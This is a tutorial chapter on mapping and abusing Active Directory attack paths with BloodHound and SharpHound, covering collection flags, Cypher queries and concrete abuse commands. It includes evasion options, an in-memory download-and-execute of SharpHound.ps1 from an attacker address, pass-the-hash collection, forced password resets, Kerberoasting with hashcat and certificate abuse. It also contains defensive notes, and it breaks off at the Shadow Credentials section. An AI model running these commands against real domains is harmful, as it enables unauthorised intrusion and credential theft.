BloodHound & SharpHound: Mapping AD Attack Paths
This is Chapter 2 of the Active Directory attack notebook — Notebook 18. Chapter 1 built the mindset: assume the breach, treat identity as terrain, and think of a domain compromise as a repeatable lifecycle rather than a bag of tricks. It also introduced BloodHound in passing as the tool that turns that lifecycle into a picture. This chapter is where BloodHound stops being a name and becomes a skill you can drive precisely — from the moment a collector touches the domain to the moment you read a shortest path to Domain Admin off the screen and know exactly which edge to abuse first.
The single idea that makes this chapter worth its length is this: Active Directory is a graph, and attackers who see the graph beat defenders who only see the boxes. A domain admin looks at a network as a list of servers and a list of users. BloodHound looks at the relationships between them — who is a member of what, who has a session where, who can reset whose password, who can write to whose access control list — and computes the transitive closure of those relationships. That closure is where 90% of real AD compromises live: not in a single exploitable machine, but in a chain of individually-boring permissions that together form a road from a nobody account to the top of the domain.
Everything here changes state on infrastructure that runs entire organisations, and BloodHound collection in particular is noisy if you do it carelessly. That makes authorisation non-negotiable. Every command in this chapter assumes an explicit, written, scoped engagement or a lab you built yourself. Running collection against a domain you are not authorised to test is unlawful unauthorised-access activity everywhere on earth. Build the lab described in Part 12, point the collectors at your own domain controllers, and keep every query inside that boundary.
Part 1: Why a Graph, and Why It Changed AD Attacking Forever
Section titled “Part 1: Why a Graph, and Why It Changed AD Attacking Forever”Before BloodHound was released at DEF CON 24 in 2016 by Andy Robbins, Rohan Vazarkar, and Will Schroeder, mapping a path to Domain Admin was a manual, error-prone slog. You would dump group memberships with net group, pull a list of who was logged on where with PsLoggedon, cross-reference by hand on a whiteboard, and hope you spotted the one helpdesk group whose members could reset an executive’s password. On a domain with 200 users this was tedious. On a domain with 40,000 users, 15,000 computers, and 3,000 groups it was simply impossible — the number of possible chains grows combinatorially, and no human holds that many relationships in their head.
BloodHound’s insight was to model the domain as a directed graph and let a graph database do the reasoning. In graph terms:
- Nodes are the security principals and objects of the domain: users, computers, groups, GPOs, OUs, domains, containers, and (in modern versions) certificate authorities and certificate templates.
- Edges are directed relationships that carry attack meaning:
A -[MemberOf]-> B,A -[AdminTo]-> C,A -[HasSession]-> D,A -[GenericAll]-> E. Each edge type encodes “principal A can do something to principal B that advances an attacker.”
Once the domain is a graph, “how do I get from my foothold user to Domain Admin?” becomes a pathfinding query — the exact same shortest-path problem that a GPS solves for roads. The graph database (Neo4j) computes it in milliseconds across millions of edges. The attacker’s creativity moves up a level: instead of finding the path, you spend your energy choosing which path is quietest and abusing the specific edge it hands you.
Mental hook: In host exploitation the vulnerability is a bug in the software. In BloodHound the vulnerability is a route through the org chart — a sequence of legitimate permissions that nobody intended to be chainable, but which the graph reveals in one query.
Why this is different from a vulnerability scanner. Nessus or OpenVAS asks “is this individual machine missing a patch?” BloodHound asks “given everything I can see about identities and their permissions, what is the shortest sequence of authorised actions that ends in domain dominance?” Most of the edges BloodHound finds are not CVEs and never will be — they are GenericAll on an OU because a junior admin was over-delegated, or a stale AdminTo from a decommissioned project, or an unconstrained-delegation flag on a print server. Working exactly as designed, dangerous only in combination. That is why BloodHound remains devastating years after its release: patching does not fix org-chart geometry.
Part 2: The BloodHound Family — Legacy, Community Edition, Enterprise, and the Collectors
Section titled “Part 2: The BloodHound Family — Legacy, Community Edition, Enterprise, and the Collectors”“BloodHound” is now an ecosystem, and knowing which piece you are holding matters because the query language, edge names, and data format differ across versions. Getting this wrong wastes an engagement’s most valuable hours.
| Component | What it is | When you’ll meet it |
|---|---|---|
| BloodHound Legacy (≤ 4.3.1) | The original Electron desktop app backed by a local Neo4j. JSON ingest, drag-drop into the GUI. | Older writeups, HTB machines, air-gapped kits. Deprecated but everywhere. |
| BloodHound Community Edition (CE, 5.x/6.x+) | Rewritten as a web app (Docker-compose: Postgres + Neo4j + a Go API + React UI). Ingests the same SharpHound JSON but via an API/upload. | The current standard. New edges (ADCS, NTLM relay coercion) land here first. |
| BloodHound Enterprise (BHE) | SaaS/defensive product. Continuous collection, “attack path management,” exposure scoring. Same graph model, defender-facing. | Blue-team and purple-team engagements; you may be asked to reduce its findings. |
| SharpHound (C#) | The primary collector: SharpHound.exe compiled binary or the SharpHound.ps1 in-memory PowerShell wrapper. Runs on a domain-joined (or reachable) Windows context. | Default choice from a Windows foothold. |
| bloodhound-python (BloodHound.py) | A pure-Python collector using Impacket. Runs from Linux/Kali with just a credential — no Windows box needed. | Default choice from a Kali attacker box with creds but no shell on a domain machine. |
| RustHound / RustHound-CE | A fast, cross-platform Rust collector; low footprint, good for large domains. | Big environments, evasion-conscious ops. |
| AzureHound | The Entra ID / Azure sibling. Collects the Microsoft Graph + ARM into the same BloodHound graph (Azure edges). | Hybrid and cloud-heavy targets. Out of scope for the on-prem lab here but named for completeness. |
Golden rule for this chapter: the collector produces JSON; the UI/database consumes it. You can collect with SharpHound and view in CE, or collect with bloodhound-python and view in Legacy, as long as the collector’s output schema version matches what the UI expects. Version mismatches are the single most common “why is my graph empty” failure — CE expects SharpHound v2 output; feeding it ancient v3-format JSON from a 2019 SharpHound will silently import nothing useful.
flowchart LR
subgraph Collect["Collection (touches the domain)"]
SH[SharpHound.exe / .ps1]
BHP[bloodhound-python]
RH[RustHound]
end
subgraph Data["Data (inert JSON in a ZIP)"]
Z[(BloodHound.zip<br/>users.json, computers.json,<br/>groups.json, ...)]
end
subgraph Analyze["Analysis (offline, safe)"]
Neo[(Neo4j graph DB)]
UI[BloodHound CE Web UI]
end
SH --> Z
BHP --> Z
RH --> Z
Z -->|upload / import| Neo
Neo <--> UI
The separation in that diagram is the most important operational fact in the whole chapter: collection is loud and touches production; analysis is silent and happens on your laptop. Every risk you take is on the left. Everything on the right is a read against your own database. Plan accordingly.
Part 3: What the Collector Actually Does — Collection Methods From Scratch
Section titled “Part 3: What the Collector Actually Does — Collection Methods From Scratch”To use SharpHound well you must know what each collection method queries, because each one has a different noise profile, a different privilege requirement, and a different failure mode. SharpHound is not magic — it is a disciplined set of LDAP searches, SMB connections, and RPC calls wrapped around the same protocols Chapter 1’s networking notebook covered. Here is every method, taught from the wire up.
The two data sources SharpHound draws from
Section titled “The two data sources SharpHound draws from”-
LDAP to the domain controller (TCP 389 / 636). This is where the structural data comes from: every user, group, computer, OU, GPO, trust, and — critically — the security descriptors (ACLs) on objects. LDAP is authenticated with your foothold credential and, from the DC’s point of view, looks like a very thorough directory browse. One authenticated session reading the whole directory is unusual for a normal user but not exploit traffic.
-
Direct connections to member computers (SMB TCP 445, RPC). This is where the behavioural data comes from: who is logged on where (
HasSession), who is a member of a machine’s local Administrators group (AdminTo/LocalGroup), what services run as which accounts. This is the loud half — thousands of connections fanning out from your foothold to every workstation and server. This is what gets ops caught.
Collection methods, one by one
Section titled “Collection methods, one by one”Method (-c / --collectionmethods) | Protocol | What it produces | Noise | Privilege needed |
|---|---|---|---|---|
Group | LDAP | Group memberships → MemberOf edges | Low | Any domain user |
LocalAdmin | SMB/SAMR | Local Administrators of each host → AdminTo | High (touches every host) | Often needs admin on target for SAMR; falls back |
RDP | SMB/SAMR | Remote Desktop Users group → CanRDP | High | As above |
DCOM | SMB/SAMR | Distributed COM Users → ExecuteDCOM | High | As above |
PSRemote | SMB/SAMR | Remote Management Users → CanPSRemote | High | As above |
Session | SRVSVC/WKSSVC (RPC) | Logged-on users → HasSession | High | Historically any user; hardened by KB5008383 |
LoggedOn | Remote Registry / RPC | Alternative session enumeration | High | Often needs local admin |
Trusts | LDAP | Domain/forest trusts → TrustedBy | Low | Any domain user |
ACL | LDAP | DACLs on objects → GenericAll, WriteDacl, etc. | Low | Any domain user |
Container | LDAP | OU/GPO structure → Contains, GPLink | Low | Any domain user |
GPOLocalGroup | LDAP | Local group membership derived from GPO (no host touch!) | Low | Any domain user |
ObjectProps | LDAP | Node properties (descriptions, lastlogon, pwdlastset, SPNs) | Low | Any domain user |
SPNTargets | LDAP | Kerberoastable service accounts → SPN edges | Low | Any domain user |
CARegistry / CertServices / DCRegistry | LDAP + remote registry | ADCS CAs & templates → ESC edges (BloodHound CE) | Medium | Varies |
Default | mix | Group, LocalAdmin, Session, Trusts, ACL, ObjectProps, Container, SPNTargets | High | Any user (partial) |
DCOnly | LDAP only | Everything obtainable from the DC alone — no member-host touch | Very low | Any domain user |
All | everything | Every method above | Highest | Any user (partial) |
The single most important operational choice is DCOnly versus Default/All. DCOnly never talks to a workstation — it derives what it can purely from LDAP on the DC (including, cleverly, GPOLocalGroup to infer local admin rights from Group Policy Preferences instead of touching hosts). It is dramatically quieter and often enough to find a path, because ACL-based edges (the juiciest ones) live entirely in LDAP. The trade-off: you lose live HasSession data, which is what tells you where a Domain Admin is currently logged in — frequently the last hop of a path. Real tradecraft: run DCOnly first, read the graph, and only fire targeted Session collection at the specific hosts a path needs.
flowchart TD
A[Foothold credential] --> B{Choose collection scope}
B -->|Quiet, ACL-focused| C[DCOnly: LDAP to DC only]
B -->|Full behavioural| D[Default/All: fan out to all hosts]
C --> E[Graph with MemberOf, ACL, GPOLocalGroup, Trusts]
D --> F[Graph + HasSession + AdminTo live]
E --> G{Path needs live sessions?}
G -->|No| H[Abuse ACL/Kerberos path — never touched a workstation]
G -->|Yes| I[Targeted Session collection at named hosts only]
F --> J[Full path incl. session hops]
Part 4: SharpHound From Scratch — Install, Run, Every Flag Explained
Section titled “Part 4: SharpHound From Scratch — Install, Run, Every Flag Explained”SharpHound is the C# collector maintained alongside BloodHound. The first time you use any tool in this notebook it gets taught from zero, so here is SharpHound end to end.
What it is: a .NET assembly that enumerates the domain and writes a timestamped ZIP of JSON files. It ships two ways: SharpHound.exe (a compiled binary you drop on a Windows host) and SharpHound.ps1 (a PowerShell wrapper that reflectively loads the assembly in memory — useful when you can run PowerShell but don’t want a binary on disk). Both come from the BloodHoundAD/SharpHound GitHub releases; always match the SharpHound major version to your BloodHound UI (SharpHound v2.x → BloodHound CE; the old SharpHound.ps1 from BloodHound 4.x → Legacy).
Getting it: on your attacker/staging box, download the release ZIP, or compile from source in Visual Studio (SharpHound.sln → Release build). For labs, the precompiled Collectors/SharpHound.exe shipped inside the BloodHound release is fine.
Core run — the command you’ll type most
Section titled “Core run — the command you’ll type most”# From a domain-joined Windows foothold, running as any domain user:.\SharpHound.exe -c All --zipfilename corp_full --outputdirectory C:\Windows\Temp\Quiet run — the one you should default to on real engagements
Section titled “Quiet run — the one you should default to on real engagements”.\SharpHound.exe -c DCOnly --zipfilename corp_dconly --outputdirectory C:\Windows\Temp\ --randomfilenamesEvery flag that matters, explained
Section titled “Every flag that matters, explained”| Flag | Meaning | Why you care |
|---|---|---|
-c / --collectionmethods | Comma-list of methods (All, DCOnly, Default, Session, ACL, …) | The single biggest noise lever — see Part 3. |
-d / --domain | Target domain FQDN, e.g. corp.local | Needed for cross-domain / when not domain-joined. |
--domaincontroller | Pin a specific DC by IP/host | Force collection through one DC (useful with a tunnel, or to avoid a monitored DC). |
--ldapusername / --ldappassword | Explicit LDAP creds | Run under different credentials than the current process token. |
--outputdirectory | Where the ZIP lands | Put it somewhere you can exfil; avoid the user’s Desktop. |
--zipfilename | Base name of the output ZIP | Label per-collection so you don’t mix runs. |
--randomfilenames | Randomise the JSON/ZIP names | Defeats naive filename-based detections (*_BloodHound.zip). |
--outputprefix | Prefix on filenames | Organisation across multiple runs. |
--stealth | “Stealth” session enum — only queries hosts you’ve already got a reason to touch | Big noise reduction for Session; less complete. |
--throttle | Milliseconds to wait between requests | Slow the fan-out to stay under rate-based detections. |
--jitter | Percentage jitter on the throttle | Randomise timing so it doesn’t look like a scanner’s metronome. |
--loop | Repeat collection on an interval | Catch sessions that appear later (e.g. wait for a DA to log in). |
--loopduration / --loopinterval | How long / how often to loop | Pair with Session to snapshot logins over hours. |
--collectallproperties | Pull every LDAP attribute | Richer node props (descriptions often hold passwords!). |
--excludedcs | Skip DCs during member enumeration | Avoid extra DC touches. |
--ldapport / --secureldap | 389 vs 636 (LDAPS) | Use LDAPS where LDAP is blocked or logged more heavily. |
Realistic output you’d see from the quiet run:
09:14:22 |INFORMATION| Resolved Collection Methods: Group, Container, ACL, ObjectProps, Trusts, GPOLocalGroup, DCRegistry09:14:22 |INFORMATION| Initializing SharpHound at 9:14 AM09:14:23 |INFORMATION| Loaded cache with stats: 0 ID to type mappings ...09:14:24 |INFORMATION| Beginning LDAP search for CORP.LOCAL09:14:55 |INFORMATION| Status: 0 objects finished (+0) -- Using 41 MB RAM09:15:25 |INFORMATION| Status: 4213 objects finished (+4213 70/s) -- Using 96 MB RAM09:16:02 |INFORMATION| Enumeration finished in 00:01:37.909:16:03 |INFORMATION| SharpHound Enumeration Completed! Happy Graphing!09:16:03 |INFORMATION| Saving cache with stats: 4102 ID to type mappings09:16:03 |INFORMATION| Output written to C:\Windows\Temp\corp_dconly_BloodHound.zipThat final ZIP is inert data — copy it to your analysis box and never worry about it triggering anything again.
In-memory variant (no binary on disk):
# Reflectively load the PowerShell ingestor and invoke itIEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/SharpHound.ps1')Invoke-BloodHound -CollectionMethod DCOnly -OutputDirectory C:\Windows\Temp\ -ZipFileName corpRed team usage: SharpHound run with --randomfilenames --throttle 1000 --jitter 30 -c DCOnly is a defensible collection posture — quiet, LDAP-only, no host fan-out. Blue team usage: conversely, a single account performing an LDAP search that touches every object class in the directory within 90 seconds is one of the highest-signal detections available; more on the exact event IDs in Part 11.
Part 5: bloodhound-python — Collecting From Kali With Only a Credential
Section titled “Part 5: bloodhound-python — Collecting From Kali With Only a Credential”Very often you are not on a Windows box. You popped a credential from Responder, or the client handed you corp.local\jsmith:Summer2026!, and you are sitting on Kali. You do not need a Windows foothold to collect — bloodhound-python (the BloodHound.py project) speaks LDAP and SMB directly via Impacket.
What it is: a pure-Python ingestor that authenticates to the DC over LDAP, walks the directory, and optionally connects to member hosts over SMB for session/local-group data — all from Linux. It produces the same JSON ZIP SharpHound does.
Install (Kali):
pipx install bloodhound # preferred, isolated# orsudo apt install bloodhound.py # distro package# for BloodHound CE schema output, use the CE-aware fork:pipx install bloodhound-ceCore run:
bloodhound-python -u 'jsmith' -p 'Summer2026!' -d corp.local \ -ns 10.10.10.10 -c DCOnly --zipEvery flag explained:
| Flag | Meaning |
|---|---|
-u / -p | Username / password. Use -p '' to be prompted, or --hashes LM:NT for pass-the-hash. |
-d | Domain FQDN. |
-ns | Nameserver — point this at the DC’s IP, because collection depends on resolving hostnames the domain owns. This is the #1 gotcha: wrong DNS = empty computers. |
-dc | Explicit DC hostname if auto-discovery fails. |
-gc | Global Catalog server (for cross-domain / forest data). |
-c | Collection methods — same vocabulary as SharpHound (DCOnly, All, Session, ACL, …). |
--zip | Bundle the JSON into a ZIP ready for upload. |
-k / --kerberos | Use Kerberos auth (pair with a KRB5CCNAME ticket for pass-the-ticket collection). |
--hashes | LMHASH:NTHASH for pass-the-hash collection without the plaintext. |
--dns-tcp | Force DNS over TCP (useful through SOCKS tunnels where UDP breaks). |
--use-ldaps | LDAP over TLS (636). |
Realistic output:
INFO: Found AD domain: corp.localINFO: Getting TGT for userINFO: Connecting to LDAP server: dc01.corp.localINFO: Found 1 domainsINFO: Found 1 domains in the forestINFO: Found 217 computersINFO: Connecting to LDAP server: dc01.corp.localINFO: Found 1043 usersINFO: Found 51 groupsINFO: Found 2 gposINFO: Found 9 ousINFO: Found 19 containersINFO: Found 0 trustsINFO: Done in 00M 21SINFO: Compressing output into 20260101091455_bloodhound.zipPass-the-hash collection (you have an NT hash but no plaintext — extremely common after LSASS or an NTLM relay):
bloodhound-python -u 'svc_backup' --hashes :2b576acbe6bcfda7294d6bd18041b8fe \ -d corp.local -ns 10.10.10.10 -c DCOnly --zipThrough a SOCKS tunnel (you have a foothold host as a pivot, per Chapter 1’s tunneling): run bloodhound-python under proxychains and force DNS over TCP so name resolution survives the proxy:
proxychains -q bloodhound-python -u jsmith -p 'Summer2026!' -d corp.local \ -ns 10.10.10.10 --dns-tcp -c DCOnly --zipCTF/lab relevance: on HackTheBox and TryHackMe AD boxes you almost always start with a single credential on Kali and no Windows shell — bloodhound-python -c All is the reflex first move once you have any domain cred. Pentester landing with a lone credential: this is the fastest way from “I have one user” to “I can see the whole attack surface” without ever touching a target workstation if you use -c DCOnly.
Part 6: Standing Up BloodHound CE and Loading Data
Section titled “Part 6: Standing Up BloodHound CE and Loading Data”Collection produced a ZIP. Now you need somewhere to reason about it. BloodHound Community Edition is the current standard and runs as a Docker stack.
Install (Docker Compose):
# Grab the official compose filecurl -L https://ghst.ly/getbhce -o docker-compose.ymldocker compose pulldocker compose up -dOn first start CE prints a randomly generated admin password to the container logs — grab it:
docker compose logs bloodhound | grep -i "Initial Password"# Initial Password Set To: Xk9#mQ2vLp8rT4wZBrowse to http://localhost:8080, log in as admin with that password, and set a new one. The stack is three services: Postgres (app state, users, saved queries), Neo4j (the graph itself, ports 7474 web / 7687 bolt), and the BloodHound API + UI (Go backend, React frontend on 8080).
Legacy alternative (single Neo4j + Electron app) — still common on air-gapped kits and HTB:
sudo neo4j console # starts Neo4j on 7474; default creds neo4j:neo4j, change on first loginbloodhound # launches the Electron GUI; connect to bolt://localhost:7687Loading the ZIP:
- CE: UI → Administration → File Ingest → Upload File(s) → drop the ZIP. The API unzips and streams it into Neo4j; a progress bar shows nodes/edges landing. Or automate via the API (
POST /api/v2/file-upload). - Legacy: drag the ZIP (or individual JSONs) straight onto the graph canvas.
Verify the import worked — this is where version mismatches surface. Run a trivial Cypher in the CE Cypher tab or the Neo4j browser:
MATCH (n) RETURN labels(n) AS type, count(*) AS count ORDER BY count DESCExpected output resembles:
type count["Base","User"] 1043["Base","Computer"] 217["Base","Group"] 51["Base","GPO"] 2["Base","OU"] 9["Base","Domain"] 1If every count is zero, your collector version and UI version disagree — re-collect with a matching SharpHound/bloodhound-ce build. This five-second check has saved more engagements than any single query.
sequenceDiagram
participant A as Attacker box
participant C as Collector (SharpHound/bh-python)
participant DC as Domain Controller (LDAP/SMB)
participant Z as ZIP (JSON)
participant BH as BloodHound CE API
participant N as Neo4j
A->>C: run -c DCOnly with foothold cred
C->>DC: authenticated LDAP search (users, groups, ACLs, GPOs)
DC-->>C: directory objects + security descriptors
C->>Z: write timestamped JSON, compress
A->>BH: upload ZIP via UI / API
BH->>N: MERGE nodes + edges
N-->>BH: graph ready
A->>BH: Cypher / prebuilt path query
BH-->>A: shortest path to Domain Admin
Part 7: Reading the Graph — Nodes, Edges, and What Each Edge Lets You Do
Section titled “Part 7: Reading the Graph — Nodes, Edges, and What Each Edge Lets You Do”The graph is only useful if you can read an edge and instantly know the abuse primitive behind it. This is the heart of BloodHound tradecraft. Here are the edges you will actually chase, grouped by what they give you, with the concrete technique each unlocks.
Membership and admin edges
Section titled “Membership and admin edges”| Edge | Meaning | What you do with it |
|---|---|---|
MemberOf | Principal is in a group | Inherit every right the group holds. Groups are transitive — a chain of nested groups is one long MemberOf path. |
AdminTo | Principal is local admin on a computer | Dump SAM/LSASS on that host → local creds, cached domain creds, tokens. |
HasSession | A user has a session on a computer | If you’re admin on that box, steal that user’s token/credential (the classic pivot). |
CanRDP | Principal may RDP to the host | Interactive access; harvest creds, run tools. |
CanPSRemote | Principal may use PowerShell Remoting (WinRM) | evil-winrm straight in. |
ExecuteDCOM | Principal may execute via DCOM | Lateral code execution primitive. |
SQLAdmin | Principal is sysadmin on a MSSQL instance | xp_cmdshell, credential theft, coerced auth. |
ACL / DACL edges — the crown jewels
Section titled “ACL / DACL edges — the crown jewels”These come from LDAP security descriptors and are the reason -c ACL/DCOnly is so powerful. Each is a permission on a target object that an attacker can convert into control.
| Edge | On the target you can… | Concrete abuse |
|---|---|---|
GenericAll | Do anything | Reset password (user), add self to group, set SPN & Kerberoast, add msDS-KeyCredentialLink (Shadow Credentials). |
GenericWrite | Write most attributes | Set a fake SPN → Kerberoast (Targeted Kerberoasting); Shadow Credentials; set scriptPath/logon script. |
WriteDacl | Rewrite the object’s ACL | Grant yourself GenericAll, then do the above. |
WriteOwner | Take ownership | Owner can rewrite the DACL → GenericAll. |
Owns | You already own it | Same as WriteOwner outcome. |
ForceChangePassword | Reset the user’s password without knowing the old one | Instant account takeover of that user. |
AddMember | Add members to a group | Add yourself → inherit the group’s rights (e.g. into “Server Admins”). |
AddSelf | Add yourself specifically | Self-service into a security group. |
AllExtendedRights | All extended rights on the object | Includes User-Force-Change-Password and, on the domain, DCSync rights. |
AddKeyCredentialLink | Write msDS-KeyCredentialLink | Shadow Credentials — forge a cert to auth as the target (Whisker/Certipy). |
AddAllowedToAct | Set msDS-AllowedToActOnBehalfOfOtherIdentity | Resource-Based Constrained Delegation (RBCD) attack. |
WriteSPN | Write the servicePrincipalName | Targeted Kerberoasting. |
Kerberos & delegation edges
Section titled “Kerberos & delegation edges”| Edge | Meaning | Abuse |
|---|---|---|
AllowedToDelegate | Constrained delegation configured | Impersonate users to the allowed service (S4U2Self/Proxy → often DA to a service). |
AllowedToAct | RBCD configured on the target | Impersonate any user to the target computer. |
HasSPN / Kerberoastable | Account has an SPN | Kerberoast — request a service ticket, crack it offline. |
DCSync (via GetChanges+GetChangesAll) | Principal can replicate directory secrets | Pull every hash in the domain, including krbtgt → Golden Ticket. |
Owns/GenericAll on the Domain object | Control of the domain head | Grant self DCSync, then replicate. |
Container / GPO edges
Section titled “Container / GPO edges”| Edge | Meaning | Abuse |
|---|---|---|
Contains | OU/container holds the object | Structural; sets up GPLink inheritance. |
GPLink | A GPO is linked to an OU/site/domain | Control of that GPO = code execution on every object it applies to. |
WriteGPLink | Can link GPOs | Link a malicious GPO to a juicy OU. |
ADCS (certificate) edges — newer, devastating
Section titled “ADCS (certificate) edges — newer, devastating”BloodHound CE ingests Active Directory Certificate Services data and adds edges that model the ESC family of certificate-abuse techniques. These often provide a direct jump to Domain Admin that older graphs never showed.
| Edge / node | Meaning | Abuse |
|---|---|---|
Enroll on a template | Principal may request a cert from this template | Precondition for ESC1/ESC2/ESC3 abuse |
ADCSESC1 | Enrollee-supplies-subject template + client-auth EKU | Request a cert as any user (incl. DA) → PKINIT → DA. certipy req ... -upn administrator@corp.local |
EnrollOnBehalfOf | Enrollment agent right | ESC3 — enrol on behalf of a privileged user |
ManageCA / ManageCertificates | CA administration rights | ESC7 — approve your own requests, issue arbitrary certs |
GoldenCert / stolen CA key | Control of the CA private key | Forge certificates for anyone → domain-wide impersonation |
The abuse tool is Certipy: certipy find -vulnerable enumerates ESC1–ESC16 conditions, and certipy req/certipy auth performs the request-and-authenticate. When BloodHound draws an ADCSESC1 edge from your foothold straight to the Domain node, that is frequently the shortest and quietest path in the entire graph — a single cert request, no password touched, no lockout.
Coercion / NTLM-relay edges
Section titled “Coercion / NTLM-relay edges”Modern BloodHound also reasons about coercion primitives (PetitPotam, PrinterBug, DFSCoerce) that force a computer — often a DC — to authenticate to a host you control, feeding an NTLM relay to LDAP/ADCS. These show up as CoerceToTGT / CoerceAndRelayNTLMto* edges and turn “I can reach the DC’s RPC” into “I can relay the DC’s machine account to ADCS and mint a DA cert” (the classic ESC8 chain with ntlmrelayx + PetitPotam).
The mental model to internalise: most paths are you → (some ACL edge) → a group or user → (MemberOf/AdminTo) → ... → Domain Admins. BloodHound’s job is to find that chain; your job is to know that, say, a GenericWrite edge on a service account means “I can set an SPN and Kerberoast it,” and to execute exactly that.
graph LR
U["jsmith (you)"] -->|GenericWrite| SVC["svc_sql"]
SVC -.->|"set SPN + Kerberoast"| CRACK["crack hash offline"]
CRACK --> SVC2["svc_sql (owned)"]
SVC2 -->|MemberOf| G["SQL Admins"]
G -->|AdminTo| C1["SQL01"]
C1 -->|HasSession| DA["Domain Admin"]
DA -->|MemberOf| DAG["Domain Admins"]
Part 8: Cypher — Querying the Graph Like an Expert
Section titled “Part 8: Cypher — Querying the Graph Like an Expert”The prebuilt queries in the UI (“Find Shortest Paths to Domain Admins,” “Find Kerberoastable Accounts”) are just saved Cypher queries, and the moment you outgrow them you write your own. Cypher is Neo4j’s query language; learning even a little turns BloodHound from a toy into a scalpel. Teaching it from scratch:
The shape of every Cypher query: MATCH (a pattern) WHERE (conditions) RETURN (what you want). Nodes are in parentheses (u:User), relationships in brackets -[r:MemberOf]->, and *1.. means “one or more hops” (transitive).
The bread-and-butter queries
Section titled “The bread-and-butter queries”// 1. Shortest path from a specific owned user to any Domain AdminMATCH (u:User {name:'JSMITH@CORP.LOCAL'}), (g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}), p = shortestPath((u)-[*1..]->(g))RETURN p// 2. All Kerberoastable users (has SPN, not disabled)MATCH (u:User)WHERE u.hasspn = true AND u.enabled = trueRETURN u.name, u.serviceprincipalnamesORDER BY u.name// 3. ASREP-roastable users (no Kerberos pre-auth required)MATCH (u:User {dontreqpreauth:true, enabled:true})RETURN u.name// 4. Everything my foothold user can reach in one hop (situational awareness)MATCH p = (u:User {name:'JSMITH@CORP.LOCAL'})-[r]->(n)RETURN p// 5. Users with a path to DA who are NOT in a protected/admin group alreadyMATCH (u:User),(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})WHERE NOT u.name CONTAINS 'ADMIN'MATCH p = shortestPath((u)-[*1..]->(g))RETURN u.name, length(p) AS hopsORDER BY hops ASCLIMIT 25Higher-value analyst queries
Section titled “Higher-value analyst queries”// 6. Find every principal that can DCSync the domain (crown-jewel detection)MATCH (n)-[:MemberOf|GetChanges|GetChangesAll*1..]->(d:Domain {name:'CORP.LOCAL'})WITH nMATCH (n)-[:GetChanges]->(d2:Domain)MATCH (n)-[:GetChangesAll]->(d2)RETURN DISTINCT n.name// 7. Passwords hiding in the 'description' field (classic quick win)MATCH (u:User)WHERE u.description IS NOT NULL AND (toLower(u.description) CONTAINS 'pass' OR u.description =~ '.*[Pp]wd.*')RETURN u.name, u.description// 8. Computers where a Domain Admin has a live session (last-hop targets)MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})RETURN c.name AS box, u.name AS da_logged_in// 9. Unconstrained delegation computers (coerce + capture TGT to DA)MATCH (c:Computer {unconstraineddelegation:true})RETURN c.name// 10. Shortest path to DA from ANY owned node (after you've marked owns in the UI)MATCH p = shortestPath((n {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))RETURN p// 11. Which single group, if compromised, unlocks the most machines? (choke-point hunting)MATCH (g:Group)-[:AdminTo]->(c:Computer)RETURN g.name AS group, count(DISTINCT c) AS machinesORDER BY machines DESCLIMIT 10// 12. High-value targets (marked highvalue/tier-zero) reachable from my footholdMATCH (u:User {name:'JSMITH@CORP.LOCAL'}),(t {highvalue:true})MATCH p = shortestPath((u)-[*1..]->(t))RETURN t.name, length(p) AS hopsORDER BY hops ASC// 13. Stale computers (no logon in 90+ days) still trusted — quiet lateral targetsMATCH (c:Computer)WHERE c.lastlogontimestamp < (datetime().epochSeconds - 7776000) AND c.enabled = trueRETURN c.name, c.operatingsystemORDER BY c.lastlogontimestamp ASCPro workflow: in the UI, right-click your foothold node → Mark as Owned. Then “Shortest Paths from Owned Principals” (query 10) instantly shows every route the graph knows from what you already control. As you compromise each hop, mark it owned too; the reachable frontier expands and new paths light up. This “owned frontier” discipline is exactly how a real AD assessment progresses.
Blue team usage: defenders run the same Cypher to find and cut edges before attackers use them — e.g. query 6 to enumerate everyone who can DCSync (should be a tiny, known list), or query 8 to find where Tier-0 admins are needlessly logging into Tier-2 workstations (a session-hygiene violation). BloodHound is a defensive tool wearing an offensive coat.
Part 9: From Edge to Exploit — Turning Three Common Paths Into Access
Section titled “Part 9: From Edge to Exploit — Turning Three Common Paths Into Access”Reading a path is half the skill; executing the edge is the other half. Here are the three edges you’ll most often be handed, each turned into a real command sequence. These are the abuse primitives BloodHound’s own “help” tab links to, made concrete.
9.1 ForceChangePassword — reset a user you don’t own
Section titled “9.1 ForceChangePassword — reset a user you don’t own”BloodHound shows jsmith -[ForceChangePassword]-> hjones. You can set hjones’s password without knowing the current one.
# From Linux, via Impacket (net rpc also works)net rpc password "hjones" "NewP@ssw0rd!" -U "corp.local/jsmith%Summer2026!" -S dc01.corp.local# or with bloodyAD:bloodyAD -u jsmith -p 'Summer2026!' -d corp.local --host dc01.corp.local set password hjones 'NewP@ssw0rd!'Now authenticate as hjones and continue the path. Caveat / OPSEC: resetting a real employee’s password locks them out and generates a support ticket — extremely noisy and disruptive. In production prefer edges that don’t disturb the user (Shadow Credentials, Targeted Kerberoast). BloodHound flags this trade-off in the edge’s abuse info.
9.2 GenericWrite / GenericAll on a user → Targeted Kerberoast
Section titled “9.2 GenericWrite / GenericAll on a user → Targeted Kerberoast”BloodHound shows jsmith -[GenericWrite]-> svc_report. You can set a fake SPN on svc_report, request its service ticket, and crack it offline — no password reset, quiet.
# Set a temporary SPN, roast, then clean up — targetedKerberoast automates all three:targetedKerberoast.py -u jsmith -p 'Summer2026!' -d corp.local --dc-ip 10.10.10.10# Output: $krb5tgs$23$*svc_report*... hashhashcat -m 13100 svc_report.hash /usr/share/wordlists/rockyou.txtIf it cracks, you now own svc_report with its real password and the SPN is removed — a clean, low-impact takeover.
9.3 AddKeyCredentialLink — Shadow Credentials (the modern favourite)
Section titled “9.3 AddKeyCredentialLink — Shadow Credentials (the modern favourite)”BloodHound shows jsmith -[AddKeyCredentialLink]-> svc_web. You write a certificate to the target’s msDS-KeyCredentialLink and then authenticate as that account using PKINIT — no password touched, no lockout, very quiet.
